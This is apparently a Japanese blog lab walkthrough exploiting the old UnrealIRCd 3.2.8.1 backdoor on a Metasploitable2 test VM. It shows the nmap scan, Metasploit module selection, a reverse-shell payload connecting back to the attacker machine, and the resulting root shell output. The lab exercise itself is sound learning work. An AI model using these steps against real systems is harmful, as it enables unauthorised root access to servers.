UnrealIRCd における脆弱性の概要
特定のバージョンにおけるUnrealIRCdには任意のコマンドを実行される脆弱性があるようです。
JVNには以下のように記載されています。
https://jvndb.jvn.jp/ja/contents/2010/JVNDB-2010-005500.html
2009 年 11 月から 2010 年 7 月まで特定のマイナーサイト上で配布された UnrealIRCd は、DEBUG3_DOLOG_SYSTEM マクロの外部に導入した変更 (トロイの木馬) を含むため、任意のコマンドを実行される脆弱性が存在します。
かなり古い脆弱性なので、現在運用されているシステムでこういった脆弱性が残っていることはほぼ皆無かと思いますが、脆弱性を利用した不正侵入の実験として試してみます。
IPアドレスの確認
まずは攻撃端末と標的端末のIPアドレスを確認します。
┌──(kali㉿kali)-[~] └─$ ifconfig -a
攻撃端末・標的端末それぞれ以下のIPアドレスであることが確認できました。
攻撃端末(Kali Linux)192.168.28.5
標的端末(Metasploitable2)192.168.28.4
Metasploitフレームワークを起動
msfconsoleを実行してMetasploitフレームワークを起動します。
┌──(root㉿kali)-[/home/kali]
└─# msfconsole
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\
=[ metasploit v6.3.4-dev ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
Metasploit Documentation: https://docs.metasploit.com/
Nmapでポートスキャンを実行する
標的端末(Metasploitable2)をポートスキャンしてUnrealIRCdのポートが開放されているか確認します。
msf6 > nmap -sV 192.168.28.4 | grep Unreal [*] exec: nmap -sV 192.168.28.4 | grep Unreal 6667/tcp open irc UnrealIRCd
ポート6667番が解放されている事が確認できました。
エクスプロイトがあるか確認します。
UnrealIRCd 3.2.8.1の脆弱性を利用したエクスプロイトがあるか、search コマンドで確認します。
msf6 > search unrealirc Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor
エクスプロイトの存在を確認できました。
今回はこのエクスプロイトを利用してバックドアで侵入します。
エクスプロイトの情報確認
エクスプロイトの情報を確認します。
ポート6667を使用しているのでRHOSTで6667を指定します
msf6 > info exploit/unix/irc/unreal_ircd_3281_backdoor
Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
Module: exploit/unix/irc/unreal_ircd_3281_backdoor
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2010-06-12
Provided by:
hdm <x@hdm.io>
Available targets:
Id Name
-- ----
=> 0 Automatic Target
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6667 yes The target port (TCP)
Payload information:
Space: 1024
使用できるペイロードの確認
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl) 1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6 2 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby) 3 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6 4 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution 5 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet) 6 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet) 7 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl) 8 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl) 9 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby) 10 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby) 11 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
ペイロードの設定
cmd/unix/reverseというペイロードを設定してみました。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse
エクスプロイトの実行
実際に攻撃を仕掛けてみます。
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.28.5:4444
[*] 192.168.28.4:6667 - Connected to 192.168.28.4:6667...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.28.4:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo wDOrSsfo03rQYm3S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "wDOrSsfo03rQYm3S\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.28.5:4444 -> 192.168.28.4:48752) at 2023-08-05 23:34:41 +0900
セッションが確立されたようです。
実際に侵入できたか確認する
実際に適当にLinuxコマンドを実行して、標的端末に入れているか確認します。
id uid=0(root) gid=0(root) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root権限で標的端末に入れていることが確認できました。
まとめ
手順としてはvsftpd 2.3.4のバックドアを利用したときとほとんど同じでした。 違いとしては使用するエクスプロイトやペイロードが異なることくらいです。
今回は学習として昔に見つかった脆弱性を利用した侵入テストを行いましたが、 どのような脆弱性であっても放置は厳禁です。